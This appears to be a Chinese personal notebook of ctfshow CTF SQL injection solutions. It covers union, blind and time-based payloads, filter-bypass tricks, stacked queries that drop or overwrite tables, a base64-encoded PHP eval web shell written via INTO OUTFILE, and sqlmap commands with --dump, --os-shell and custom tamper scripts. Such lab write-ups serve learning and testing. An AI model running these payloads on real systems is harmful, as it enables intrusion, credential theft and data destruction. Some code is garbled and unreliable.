Sql注入
mysql官方文档
Select模块
1. 171
0' or id ='27
2. 联合查询
999' union select id,password from ctfshow_user2 where username = 'flag
3. 编码 进制转换绕过检测
9999' union select id,hex(username),password from ctfshow_user3 where username = 'flag
这里用Hex(username)绕过了对返回值含有flag的过滤
还可以用其他如
1. **数学函数**
- `ABS()`: 返回一个数的绝对值。
- `CEIL()`: 返回大于或等于指定数字的最小整数。
- `FLOOR()`: 返回小于或等于指定数字的最大整数。
- `ROUND()`: 四舍五入到最接近的整数。
- `MOD()`: 返回除法的余数。
2. **字符串函数**
- `CONCAT()`: 连接两个或多个字符串。
- `SUBSTRING()`: 返回字符串的子串。
- `UPPER()`: 将字符串转换为大写。
- `LOWER()`: 将字符串转换为小写。
- `LENGTH()`: 返回字符串的长度。
- `TRIM()`: 移除字符串首尾的空格。
- `REPLACE()`: 替换字符串中的子串。
- `REVERSE()`: 返回字符串的反转形式。/////////////////////////////////////
- `LEFT()`: 返回字符串左边的字符。
- `RIGHT()`: 返回字符串右边的字符。
3. **日期和时间函数**
- `NOW()`: 返回当前的日期和时间。
- `CURDATE()`: 返回当前的日期。
- `CURTIME()`: 返回当前的时间。
- `DATE()`: 提取日期部分。
- `TIME()`: 提取时间部分。
- `TIMESTAMP()`: 返回UNIX时间戳。
4. **加密函数**
- `MD5()`: 返回字符串的MD5哈希值。
- `SHA1()`: 返回字符串的SHA-1哈希值。
- `AES_ENCRYPT()`: 使用AES加密算法加密字符串。
- `AES_DECRYPT()`: 使用AES加密算法解密字符串。
5. **编码和解码函数**
- `to_base64()`: 将字符串进行Base64编码。
- `from_base64()`: 将Base64编码的字符串解码。
6. **其他**
- `CAST()`: 将一个值转换为指定的数据类型。
- `COALESCE()`: 返回参数列表中的第一个非NULL值。
- `IF()`: 如果条件为真,则返回一个值,否则返回另一个值。
- `NULLIF()`: 如果两个表达式相等,则返回NULL,否则返回第一个表达式。
4. replace替换字符串绕过
这题要求返回的值不能有0-9
- 这里我们将0-9替换为字母
0' union select 'a',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(to_base64(password),"1","@A"),"2","@B"),"3","@C"),"4","@D"),"5","@E"),"6","@F"),"7","@G"),"8","@H"),"9","@I"),"0","@J") from ctfshow_user4 where username="flag" --+
- 这个里面用来base64编码,主要是防止原来的flag里面含有特殊字符,从而影响结果
再替换回去
import base64
flag64 = "Y@CRmc@Bhvd@CsyNjZiN@BU@JYy@J@EZTJiLTQzOGEtODg@EZC@J@CYjc@AMTZhNTBkMzR@I"
flag = flag64.replace("@A", "1").replace("@B", "2").replace("@C", "3").replace("@D", "4").replace("@E", "5").replace("@F", "6").replace("@G", "7").replace("@H", "8").replace("@I", "9").replace("@J", "0")
print(base64.b64decode(flag))
5. 文件操作
- 这里尝试写一个Php文件进去
99' union select 1,"<?php eval(POST[1]):?>" into outfile '/var/www/html/1.php
- 但是
- 注入失败,我们打算将php语句进行2重编码编码
PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+
再把base64进行url编码
PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8%2B
payload
99' union select 1,from_base64("PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8%2B") into outfile '/var/www/html/4.php
然后可以通过蚁剑连接
- 连接数据库
- 注意一下数据库型号
- 密码可以通过查看config.php获得
6. 简单过滤 万能密码
999' or username = 'flag
7. 过滤空格
- 万能密码
1'or/**/1=1%23
- 正常查询
1'/**/union/**/select/**/1,2,password/**/from/**/ctfshow_user/**/where/**/username='flag'%23
%23: 这是URL编码中表示字符 # 的方式。在SQL查询中,%23 后的内容将被视为注释,从而忽略后续的内容。这种写法可能是为了防止后续内容被执行。
- 过滤空格可以用
/**/ 注释
%0a 换行
%09 水平制表符
%0b 垂直制表符
%0C 换页
%0d 回车
· 反应号(要在括号里面用)不好用
8. 过滤空格与*号
- 我们用不了注释绕过
- 可以用剩下的几种
%0a 换行
%09 水平制表符
%0b 垂直制表符
%0C 换页
%0d 回车
· 反应号(要在括号里面用)不好用
payload
0'union%0aselect'1',(select`password`from`ctfshow_user`where`username`='flag'),'3
这里我们使用了反引号绕过
但注意反引号是无法绕过union这里的
9. 过滤空格 星号 水平制表
- 方法一
一把梭哈
1'or'1'='1'%23
- 方法二 正常
0'union%0cselect'1',(select`password`from`ctfshow_user`where`username`='flag'),'3
这里0a 0b 0d都过滤了
10. 过滤空格 0c绕过
- 使用上一把的
0'union%0cselect'1',(select`password`from`ctfshow_user`where`username`='flag'),'3
或者无空格写法
id=-1'or(id=26)and'1'='1
id=26'or(id=26)or'1'='2
10.1. 关于对上面无空格写法的思考
- 第一种
-1'or(id=26)and'1'='1 - 这里 用了两个逻操作符 or and 连接了3个条件 -1、id=26、1=1
- 当且仅当整个逻辑表达实战为真时,才会执行成功,且执行为真的地方
- 对于上面的表达式:id=-1为假、id=26为真、1=1为真 则会执行id=26爆出id=26字段
- 第二种
id=26'or(id=26)or'1'='2
- 这里是两个or连接的,
- 按照判断,id=26为真 ,(id=26)都为真
- 肯定会爆出id=26的字段
- 但是若这两个Id不相等且都为真时,会爆出哪个Id?
- 经过测试是以后面这个id为准
且不管前面这个id是真是假 - 前假后真
- 前真后真
- 前真后假时
- 前假后假
- 但若前面两个都是假时,第3个为真时
只会爆出第一个字段
11. 过滤空格 联合查询
- 无空格写法
id=-1'or(id=26)and'1'='1
id=26'or(id=26)or'1'='2
- 正常写法
999'%0cor%0cusername='flag
12. 比181多过滤flag
- 无空格写法
id=-1'or(id=26)and'1'='1
- 正常写法
999'%0cor%0cusername%0clike'%la%
这里使用了like %flag 写法
13. 布尔盲注
- 我们可以通过这里回显的0与1判断是否正确
- 布尔盲注思路:利用布尔值,对 flag 进行挨个判断,flag 是由 ctfshow{} +十六进制(0 ~ f)+ - 组成
-
tableName=`ctfshow_user`where`pass`regexp('c') - 因为我们知道flag第一个字母是c所以这里显示是1
- 我们就可以通过一位一位的匹配flag得出flag
- file:D:\ctf_scripts\sql_injection\布尔盲注逐位获取flag.py
14. 过滤很多 单双引号 where 等
- 这一题where也过滤了
- 在官方文档中可以看到select where处还可以用其他的
- 如order by、having、limit等
- 我们尝试用Having
tableName=ctfshow_user group by pass having pass regexp(0x63746673686f77)
这里面后面的16进制是 “ctfshow” 可以用16进制绕过双引号
然后就是修改脚本了
file:D:\ctf_scripts\sql_injection\16进制布尔盲注逐位获取flag.py
值得注意的是,这个having要搭配order by使用
url: https://www.freecodecamp.org/chinese/news/sql-having-how-to-group-and-count-with-a-having-statement/
title: "如何使用 SQL HAVING 语句进行分组和计数"
description: "在 SQL 中,你可以在 GROUP BY 之后使用 HAVING 关键字根据指定条件查询数据库。与其他关键字一样,它返回满足条件的数据并过滤掉其余的数据。 引入 HAVING 关键字是因为 WHERE 子句无法与聚合函数一起使用。因此,你必须将 HAVING 子句与聚合函数一起使用,而不是 WHERE。 将 HAVING 子句与 GROUP BY 关键字一起使用,你可以将数据库中的数据排列为多个组。因此,你可以在大型数据库中使用它。 如何使用 HAVING 关键字 假设我在 student_scores 数据库中有一个名为 students 的表。SELECT * FROM students 返回以下内容: 你可以通过运行 SELECT name, score FROM students 仅获取姓名和分数。 然后,你可以使用 HAVING 关键字根据条件过滤掉一些学生,例如,那些得分大于 70 的人。 但在此之前,你必须像这样使用 GROUP BY 子句:"
host: www.freecodecamp.org
favicon: https://cdn.freecodecamp.org/universal/favicons/favicon.ico
image: https://chinese.freecodecamp.org/news/content/images/2022/09/sqlHaving.png
15. 184+过滤数字 char函数
- 首先先了解
- select true 是1 true+true=2
- 同理false是0
- 这里我们使用了一个char函数
- char(数字)可以输出对应的ascill码
- 如char(120)=x
- 同理char(true+true+...+true)=x
- 这样我们就可以不用数字表示数字
然后就是写脚本
file:D:\ctf_scripts\sql_injection\布尔、无数字、char.py
16. 185脚本跑
17. Php md5函数利用
- 先看代码
- 查看Php文档得知
- 所以我们要传入一个字符串,能够使其 16 字符长度的原始二进制格式 实现sql注入
- 这里使用
ffifdyop - 它返回的二进制是
raw: 'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c - 这里使用这个万能密码就成功登录 并获取了flag
18. mysql 0与字母弱类型相等
- 想要拿flag需要输入的密码经过intval函数后等于查询出的密码。
注意这个地方用的两个等于号。
所以只要真正的密码是flag字母我们就可以通过输入密码为0来绕过
payload
username=1||1
password=0
或者username=0
18.1. 无引号包括数字 与字母比较
- 数据库
- 查询语句1
返回结果select username,password from user where username = 0; - 这里返回了3条,他们的共同特点是 Username 开头是字母,而字母与无引号包括的数字弱类型比较时,字母开头的会被当作0,所以返回了3条0
- 查询语句2
select username,password from user where username =4; - 返回结果
- 这就是返回了4ab,因为会把开头的数字当作值。
19. 布尔盲注读文件
- 题目提示flag在api/index.php当中
- 先输入用户名 密码让其有响应
- 0&0时
回显关键字符串:\u5bc6\u7801\u9519\u8bef - 114514&0时
回显关键字:\u67e5\u8be2\u5931\u8d25 - 上面两点可以看出
密码错误时:若数据库内有该用户,则显示查询失败(这里0没有被引号包括,所以可以表示任意字母、符号、特殊符号开头的用户)
若数据库里面没有该用户,则会显示密码错误
这样我们就可以将他爆出来了 - 写脚本盲注
file:D:\ctf_scripts\sql_injection\盲注读文件.py
20. 布尔盲注
- 先在这里随便测试几下
admin
1' or '2>1
发现与上题一样的
还是写脚本
file:D:\ctf_scripts\sql_injection\布尔盲注模板.py
21. 过滤ascil码
- 过滤了这个
- 可以使用190的脚本,将ascil换成ord函数即可
file:D:\ctf_scripts\sql_injection\布尔盲注模板.py - ord与ascii()的区别
ORD() 函数返回字符串第一个字符的ASCII 值,如果该字符是一个多字节(即一个或多个字节的序列),则[MySQL函数将返回最左边字符的代码。 - 例子
22. 191+过滤ord hex
- 这里ord、hex都被过滤了,通过转数值的方式不能用了。substr还可以用, 那么直接截取字符判断匹配即可。
23. 192+过滤 subste
- 这里可以使用left 或者 right 函数
- left()返回具有指定长度的字符串的左边部分。
left(string,length);
24. lpad( ) 或者 rpad()
- 找一找其他和截取有关的函数,发现
lpad()。

lpad(str,len,padstr)
lpad()函数返回字符串str,len小于字符串长度相当于字符串截取;大于字符串长度,则在左填充用字符串padstr直到达到len字符长度。

有左填充,一般就是右填充,找到rpad(),用法和lpad()类似。

这里使用lpad(),它和left()的注入语句类似,只是多了一个填充字符串padstr参数,令其为空即可。
25. 堆叠注入,Update密码
- 过滤了select,单双引号也被过滤,没有报错提示。
没有过滤分号,考虑堆叠注入。但不能有空格,可以通过反引号包裹表名等信息的方式绕过空格过滤。
根据展示的代码可知,登陆成功就可以获得flag,关键就在于登陆,而且登陆的这个用户他的密码要是数字。过滤了select,单双引号也被过滤,没有报错提示。
没有过滤分号,考虑堆叠注入。但不能有空格,可以通过反引号包裹表名等信息的方式绕过空格过滤。
根据展示的代码可知,登陆成功就可以获得flag,关键就在于登陆,而且登陆的这个用户他的密码要是数字。

通过提供的查询语句可以知道表名是ctfshow_user,列名为username和pass。
考虑用update把所有pass改成1。
username=1;update`ctfshow_user`set`pass`=1&password=1
//这里username=1;写成username=0;也可以的,不影响后面update的执行,两条语句都会执行。
这里除了用username=1 也可以用0
因为无单引号包裹,所以0会匹配所有字母和特殊符号开头的用户

然后username=0&password=1登陆。
26. 堆叠注入
- 根据逻辑看看到
- 只要返回的pass是等于我们输入的密码就行了。
- 我们
- 根据查询语句,我们使用Select(数字)就可以控制查询pass返回的结果
- 这个也可以返回其他的 如使用16进制返回字母 符号,数字也可以被单、双引号包起来,也是返回数字
- 但是不能只输入字母
输入的字母必须要用引号包括
27. 堆叠 长用户名,删表建表插数据 绕过select
- 这题还是用到上一题的思想
- 只要对应的账户密码正确即可。
- 对于账户,我们可以用0 表示任何 字母/特殊符号开头的账户
- 但密码由于过滤了select 我们无法再通过selcet(1)类似的来指定返回的账户密码
- 但我们可以通过删除表再新建表再插入账户密码来实现指定账户密码
- 此方法的限制条件:用户名长度要求不小
删除表
drop table ctfshow_user;
新建表
create table ctfshow_user(`username`varchar(100),`password`varchar(100));
插入数据
insert ctfshow_user(`username`,`password`) value(1,2)
0;drop table ctfshow_user;create table ctfshow_ user(`username`varchar(100),`pass`varchar(100)); insert ctfshow_user(`username`,`pass`) value(1,2);
28. 已知表、列名 可不用 drop create
- 逻辑与上题一样
- 但过滤drop create
- 由于已经知道表列名,我们直接插数据
0;insert ctfshow_user(`username`,`pass`) value(1,2);
这里也可以用change
29. 198+过滤括号,使用change、改变数据类型
使用change方法
这个是198的方法,但是用到了括号,我们将其变量类型进行更改避免用括号
我们使用
这个方法就没用到Insert 但是条件也是要知道列名 表名 还有密码的
- 还有种不用括号的,但用到了set into
INSERT INTO ctfshow_user
SET username = 1, pass = 2;
30. 禁用逗号,show tables;
解法一:
show tbales;
密码用table名就行了, 要允许使用空格
解法2:
也可以用change解法
SQLmap
1. get请求获取
使用--user-agent 指定agent
使用--referer 绕过referer检查
python3 .\sqlmap.py -u "http://5c700530-30c6-4997-b8a3-d3879bef19db.challenge.ctf.show/api/?id=" --user-agent=sqlmap --referer=ctf.show
```
--dbs 枚举数据库的所有数据库
-D ctfshow_web --tables 获取ctfshow_web数据库下的表
139 --tables 枚举数据库的所有表
-D ctfshow_web --tables -T ctfshow_user --columns
获取指定表,列下的字段名字
140 --columns 枚举数据库的所有列
141 --schema 枚举数据库汇总数据
--dump 下载数据
-D ctfshow_web --tables -T ctfshow_user --dump
```
2. post请求 注入 --data
python3 .\sqlmap.py -u "http://96c0f4db-c9bc-4ef0-bb33-fbadd8c9580d.challenge.ctf.show/api/" --data "id=1" --user-agent=sqlmap --referer=ctf.show --dbs
--data "【content】"
3. -H “头” --method
--method=PUT /POST /GET /DELETE
python3 sqlmap.py -u "http://d1067e94-bf33-4c44-8d8e-9403e285f77b.challenge.ctf.show/api/index.php" --method=PUT --data="id=1" -H "content-type:text/plain" -A "sqlmap" --referer="ctf.show" --dbs -D ctfshow_web -T ctfshow_user --dump
这里必须要用/api/index.php 不可以用 /api/
4. 使用--cookie 提交cookie数据
cookie用键值对的方式
--cookie="ctfshow=dbbd62249328c6daae571b60980e2ab2;PHPSESSID=2nqu6lvjjl0gh8916sb4g2cqrk;"
多个cookie用分号分隔
python sqlmap.py -u "http://988a6d4a-3972-4bd8-a3ed-3780ab29ef0b.challenge.ctf.show/api/index.php" --method=PUT --data="id=1" -H "content-type:text/plain" -A "sqlmap" --referer="ctf.show" --cookie="ctfshow=5a4db04f2b67166a885d7b120c621743;PHPSESSID=2nqu6lvjjl0gh8916sb4g2cqrk;"
这题可以用-a 但必须要有 -H --referer
5. api调用需要鉴权
- 通过抓包得知这题在查询之前会进行一个鉴权
- 也就是访问目标地址之前会先访问一个网站
- 查询sqlmap手册看到可能可以用到的
--safe-url=SAFEURL 在测试期间频繁访问的URL地址python sqlmap.py -u "http://9e617252-01d4-4a0c-b8af-9d912ceceac2.challenge.ctf.show/api/index.php" --safe-url="http://9e617252-01d4-4a0c-b8af-9d912ceceac2.challenge.ctf.show/api/getToken.php" --safe-freq=1 --method=PUT --data="id=1" -H "content-type:text/plain" -A "sqlmap" --referer="ctf.show" --cookie="PHPSESSID=jsgq6dn5g1lk4d384cq25819kg"--safe-url="http://9e617252-01d4-4a0c-b8af-9d912ceceac2.challenge.ctf.show/api/getToken.php" --safe-freq=1
6. sql 需要闭合
- 与之前不同,这里需要闭合
- 可能用到的参数
--prefix=PREFIX 注入载荷前缀字符串
--suffix=SUFFIX 注入载荷后缀字符串
--prefix="')"
--suffix="#"
tamper
file:C:\Users\yu\Desktop\sqlmap-gui-v1.4\tamper
-v VERBOSE 详细级别:0-6(默认为 1)
1. tamper初体验
--tamper=TAMPER 使用给定的脚本对注入数据进行篡改
--tamper=space2comment
2. 208
3. 209tamper
- 这里过滤了空格、星号、等号
- 空格 0a 绕过
- 等号 替换 like
编写tamper
"file:C:\Users\yu\Desktop\sqlmap-gui-v1.4\tamper\space=xing.py"
python .\sqlmap.py -u http://77f0b217-dc38-4664-ae76-cc8df317ec04.challenge.ctf.show/api/index.php --data="id=1" --user-agent=sqlmap --refer="ctf.show" --method="PUT" --headers="Content-Type:text/plain" --safe-url="http://77f0b217-dc38-4664-ae76-cc8df317ec04.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=luo5jiionph6ao4956jddfo1d3" --tamper="space=xing" -D ctfshow_web --tables
4. tamper base64
function decode($id){ return strrev(base64_decode(strrev(base64_decode($id)))); }解释代码
base64_decode($id):首先,它对传入的$id参数进行一次base64解码,将base64编码的字符串转换回原始数据。strrev(base64_decode($id)):接着,它对第一步解码后的结果进行字符串翻转操作,即将字符串中的字符顺序倒置。base64_decode(strrev(base64_decode($id))):最后,它再次对倒置后的字符串进行一次base64解码,以得到最终的解码结果。
-
编写tamper
def tamper(payload, **kwargs): payload = payload-1 payload1= base64.b64encode(payload.encode('utf-8')).decode('utf-8') payload1 = payload1-1 payload2= base64.b64encode(payload1.encode('utf-8')).decode('utf-8') return payload2file:C:\Users\yu\Desktop\sqlmap-gui-v1.4\tamper\base64strrev.py
5. 注释 tamper
过滤空格
import base64
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
__priority__= PRIORITY.NORMAL
def dependencies():
singleTimeWarnMessage("空格置换/**/、双写绕过select")
def tamper(payload,**kwargs):
payload = payload.replace(" ","/**/")
payload = payload[::-1]
payload1= base64.b64encode(payload.encode('utf-8')).decode('utf-8')
payload1 = payload1[::-1]
payload2= base64.b64encode(payload1.encode('utf-8')).decode('utf-8')
return payload2
6. 过滤空格 tamper
import base64
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
__priority__= PRIORITY.NORMAL
def dependencies():
singleTimeWarnMessage("空格置换/**/、双写绕过select")
def tamper(payload,**kwargs):
payload = payload.replace(" ",chr(0x09))
payload = payload[::-1]
payload1= base64.b64encode(payload.encode('utf-8')).decode('utf-8')
payload1 = payload1[::-1]
payload2= base64.b64encode(payload1.encode('utf-8')).decode('utf-8')
return payload2
file:C:\Users\yu\Desktop\sqlmap-gui-v1.4\tamper\comment.py
7. os shell
- 这题用上题的tamper
- 加上--os-shell
- 注意一点就是
时间盲注
1. 延时五种方法
- sleep
- benchmark
- rlike
- 笛卡尔积
- 多链接
2. 无过滤
- 这题打开页面什么也没有
- 于是抓个包先看看
- 抓包发现可疑的包
- 将debug改为1后发送发现
- 出现了sql语句
- 这个ip是我们可以控制的。那么就可以写脚本了
- 延时注入测试成功
if(2>1,sleep(3),1)
3. 时间盲注 加了单引号
- 在214脚本基础上过滤即可
- file:D:\ctf_scripts\sql_injection\时间盲注加单引号.py
4. 时间盲注 base64编码
闭合代码
'MQ==') or if(ascii(substr((select database()),{0},1))>{1},sleep(2),0)-- +
这次我们不写脚本,我们编写tamper
import base64
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
__priority__= PRIORITY.NORMAL
def dependencies():
pass
def tamper(payload,**kwargs):
payload = payload.replace("1'", "'MQ=='")
return payload
file:C:/Users/yu/Desktop/sqlmap-gui-v1.4/tamper/timebase64.py
5. web217 过滤sleep 通过 benchmark 实现注入
1) or if(ascii(substr((select database()),{0},1))>{1},benchmark(100000000,sha('test')),0)-- +
BENCHMARK(loop_count, expression)
这里计算 test 的 sha值 100000000次 已达到延迟效果
6. web218 过滤sleep benchmark
import base64
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
__priority__= PRIORITY.NORMAL
def dependencies():
pass
def tamper(payload,**kwargs):
payload = payload.replace("SLEEP(5)", """(concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b')""")
return payload
file:D:/ctf_scripts/sql_injection/时间盲注rpad.py
select * from (select * from ctfshow_user)a,(select * from ctfshow_user)b;


















































